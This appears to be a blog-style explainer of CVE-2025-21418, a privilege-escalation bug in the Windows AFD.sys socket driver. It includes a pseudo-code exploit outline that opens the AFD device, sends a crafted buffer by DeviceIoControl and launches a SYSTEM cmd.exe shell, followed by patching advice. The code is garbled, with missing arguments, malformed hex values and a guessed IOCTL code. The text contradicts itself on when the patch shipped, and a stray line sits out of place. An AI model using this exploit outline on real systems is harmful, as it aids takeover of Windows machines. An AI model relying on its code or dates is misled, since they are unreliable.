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In early 2025, Microsoft patched a serious security flaw known as CVE-2025-21418 that affects the Windows Ancillary Function Driver for WinSock (AFD.sys). This bug gave attackers a way to escalate privileges locally—meaning a regular user could become an administrator on the system. Let’s break down how this vulnerability works, the impact, and how someone might exploit it, all in simple terms.

What is the Ancillary Function Driver for WinSock (AFD.sys)?

AFD.sys is a core Windows driver responsible for managing network sockets. Most programs that access the network—like your browser, email client, or even Windows system services—end up interacting with AFD.sys. Because of this, vulnerabilities in this driver are very attractive targets for attackers.

After exploit: You can run programs with administrator (SYSTEM) privileges.

The core of the issue is a flaw in how AFD.sys handles specific requests. An attacker could exploit this by getting the driver to access restricted memory or perform an unsafe action, allowing them to overwrite sensitive system data.

Vulnerability Discovery

Security researchers found that AFD.sys handled a particular IOCTL request (a way for user programs to send commands to drivers) without properly checking input. That let local users craft a special request leading to a memory corruption scenario—often a use-after-free or buffer overflow.

Exploit Flow Example

Let's break down a simplified exploit flow. Note: the actual exploit code is dangerous and complex, but here’s a high-level pseudo-code outline.

Open a handle to the AFD driver:

HANDLE hDevice = CreateFileW(L"\\\\.\\AFD", 
    GENERIC_READ | GENERIC_WRITE,
    , NULL, OPEN_EXISTING, , NULL);

Craft a malicious input buffer:

BYTE inputBuffer[256];
// Fill inputBuffer with values that trigger the vulnerability
memset(inputBuffer, x41, sizeof(inputBuffer));

Call DeviceIoControl with a vulnerable IOCTL code:

DWORD bytesReturned;
DeviceIoControl(hDevice, 
    VULNERABLE_IOCTL_CODE, // The code triggering the bug (e.g., x1207F)
    inputBuffer,
    sizeof(inputBuffer),
    NULL, ,
    &bytesReturned,
    NULL);

Gain SYSTEM privileges:

- After calling DeviceIoControl, the system memory is corrupted, and the attacker can inject a payload or hijack execution, making their process run as SYSTEM. Typically, attackers leverage a technique like *token stealing* to set their process token to SYSTEM.

Proof of Concept (PoC)

Most real-world PoCs are not public due to the risk, but here’s an example of what you might see in a secure environment:

// Example only. DO NOT USE THIS FOR MALICIOUS PURPOSES!
HANDLE afd = CreateFile(L"\\\\.\\AFD", ...);
// Prepare inputBuffer that triggers the bug...
DeviceIoControl(afd, x1207F, inputBuffer, 256, NULL, , &ret, NULL);
// If successful, privileges are elevated to SYSTEM
system("cmd.exe"); // Now launches a SYSTEM shell

*Again, DO NOT run exploit code on live systems.*

Local attackers could gain total control of any vulnerable Windows system.

- Malware/ransomware could leverage this bug for persistence or to disable security tools.

How to Stay Protected

- Apply Windows Updates: Microsoft patched this bug in March 2025. Get patches here.

Limit local user access: Avoid giving administrator rights to standard users.

- Monitor for unexpected device driver access: Use security software that can flag unusual uses of DeviceIoControl.

Further Reading

- Microsoft Security Update Guide: CVE-2025-21418
- AFD.sys Driver Internals
- Recent privilege escalation attacks

Conclusion

CVE-2025-21418 is another reminder of how much damage a single bug in a core Windows driver can do. By exploiting a vulnerability in AFD.sys, attackers can turn local access into full control, which is why applying patches and following security best practices is so important.

Stay safe, patch early, and if you’re a security professional: keep an eye on critical Windows drivers like AFD.sys for future vulnerabilities.

Timeline

Published on: 02/11/2025 18:15:40 UTC
Last modified on: 02/14/2025 23:15:38 UTC